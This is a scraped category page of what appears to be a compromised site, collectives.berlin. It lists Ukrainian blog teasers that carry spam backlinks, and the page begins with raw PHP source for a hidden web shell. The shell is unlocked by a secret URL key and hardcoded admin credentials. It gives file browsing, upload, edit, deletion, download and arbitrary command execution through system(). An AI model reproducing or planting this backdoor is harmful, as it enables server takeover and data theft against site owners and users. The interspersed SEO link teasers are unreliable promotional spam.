if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 18 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Світовий футбол: ключові події та тенденції

    Світовий футбол, як один з найпопулярніших видів спорту, rundigest.org.ua завжди привертає увагу мільйонів уболівальників по всьому світу. Протягом останніх років ми стали свідками значних змін у цій галузі, які вплинули на розвиток гри, культуру фанатів та економіку клубів. У цьому звіті ми розглянемо ключові події та тенденції, що формують сучасний світовий футбол. 1. Глобалізація футболу…

    Click or not…

  • Автономний транспорт нові рішення та перспективи розвитку галузі

    Для успішної інтеграції безпілотних технологій на транспортному ринку варто вивчити існуючі моделі впровадження. Так, актуально зосередитися на гнучких системах, https://goldmaster.com.ua/ які дозволяють адаптуватися до різних умов експлуатації. Особливо важливо врахувати можливість інтеграції таких автопарків в існуючі мережі міського транспорту, що може суттєво підвищити їх ефективність. Необхідно також звернути увагу на розвиток інфраструктури, яка підтримуватиме автономні…

    Click or not…

  • Як створити родинний затишок та гармонію вдома разом

    Забезпечити комфорт у вашому домі можна за допомогою правильного освітлення. Використання м’яких, теплых відтінків ламп допоможе досягти гармонії. Розташування світильників на різних рівнях, womanworld.com.ua наприклад, настільні, підлогові або точкові світильники, додає глибини та об’єму. Ідеальним рішенням стане дім, наповнений природним світлом – спробуйте відкрити штори або використовувати дзеркала для відображення денного світла. Вибір меблів відіграє…

    Click or not…

  • Оптимізація продуктивності ПК: поради та трюки

    Оптимізація продуктивності персонального комп’ютера (ПК) є важливим аспектом, що дозволяє користувачам максимально ефективно використовувати свої пристрої. У цій статті ми розглянемо різноманітні поради та трюки, https://cyberguide.in.ua які допоможуть прискорити роботу комп’ютера, підвищити його продуктивність і забезпечити стабільність системи. 1. Оновлення операційної системи та драйверів Перш ніж почати оптимізацію, важливо переконатися, що ваша операційна система та…

    Click or not…

  • Найкращі бездротові клавіатури для комфортної роботи в офісі

    Logitech MX Keys стане відмінним вибором для тих, b-mobile.com.ua хто цінує комфорт і функціональність. Ця модель має м’які клавіші з підсвіткою, що автоматично регулюється, а також підтримує підключення до кількох пристроїв одночасно. Працювати з нею можна не тільки на комп’ютері, а й на планшеті чи смартфоні. Ще однією зрозумілою альтернативою є Microsoft Surface Keyboard. Цей…

    Click or not…

  • Хто керує інформаційним порядком дня: аналіз медіапростору

    У сучасному світі інформація стала одним з найважливіших ресурсів, а медіапростір відіграє ключову роль у формуванні суспільної думки. Визначення, хто керує інформаційним порядком дня, є складним і багатогранним питанням, https://headlinefocus.com.ua/ яке вимагає детального аналізу. У цьому звіті ми розглянемо основні фактори, що впливають на медіапейзаж, а також роль медіа у формуванні інформаційного порядку дня. По-перше,…

    Click or not…

  • Геймінг індустрія: останні новини та огляди ігор

    Геймінг індустрія продовжує стрімко розвиватися, https://cloudjournal.com.ua привертаючи увагу мільйонів гравців по всьому світу. У 2023 році ми стали свідками безлічі новинок, інновацій та змін, які вплинули на ринок відеоігор. У цьому звіті ми розглянемо останні новини, тенденції та огляди ігор, які стали популярними в цьому році. Останні новини індустрії Розвиток технологій: Одна з найбільших тенденцій…

    Click or not…

  • Медіаграмотність у сучасному світі: навички, які рятують

    У сучасному світі, https://publicinsight.in.ua де інформація стає основним ресурсом, медіаграмотність є надзвичайно важливою навичкою. Вона включає в себе здатність шукати, аналізувати та оцінювати інформацію з різних джерел, а також ефективно використовувати її для прийняття обґрунтованих рішень. У цій статті ми розглянемо, чому медіаграмотність є критично важливою у наш час та які навички допоможуть нам орієнтуватися…

    Click or not…

  • Віртуалізація та контейнеризація: Docker та Kubernetes

    Віртуалізація та контейнеризація є двома ключовими технологіями, які революціонізують спосіб розгортання, управління та масштабування програмного забезпечення. Серед найпопулярніших інструментів у цій сфері виділяються Docker та Kubernetes. У цьому звіті ми розглянемо основи віртуалізації та контейнеризації, https://datahub.com.ua а також детально проаналізуємо Docker і Kubernetes, їх переваги, недоліки та способи використання. Віртуалізація Віртуалізація — це технологія, яка…

    Click or not…

  • Рекомендації щодо вибору ноутбука для студентського навчання

    Перш ніж придбати портативний пристрій, https://itcent.com.ua/ зважте на продуктивність процесора. Оптимальними варіантами стануть моделі з процесорами Intel Core i5 або Ryzen 5, що забезпечать швидку обробку завдань. Обсяг оперативної пам’яті також впливає на комфорт в роботі. Рекомендується обирати моделі з мінімум 8 ГБ RAM, а для більш вимогливих задач – від 16 ГБ. Експерти радять…

    Click or not…